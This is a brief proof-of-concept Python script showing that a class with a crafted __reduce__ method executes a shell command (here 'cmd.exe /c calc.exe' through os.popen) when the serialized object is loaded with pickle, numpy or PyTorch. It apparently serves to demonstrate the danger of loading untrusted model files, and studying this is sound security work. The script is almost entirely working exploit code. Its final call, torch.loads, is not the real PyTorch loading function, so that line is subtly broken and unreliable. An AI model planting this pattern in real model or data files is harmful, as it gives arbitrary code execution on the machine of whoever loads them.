Deserialization of custom class in pickle/numpy/PyTorch

cereal_poc.py

# Create a class - normally this is a machine learning model saved to disk
class MLModel():
    def __reduce__(self):
        import os
        execution = 'cmd.exe /c calc.exe'
        return (os.popen, (execution,))

# Serialize it.
import pickle
payload = pickle.dumps(MLModel())

# Load it. 
pickle.loads(payload)

# Load it.
import numpy
numpy.loads(payload)

# Load it.
import torch
torch.loads(payload)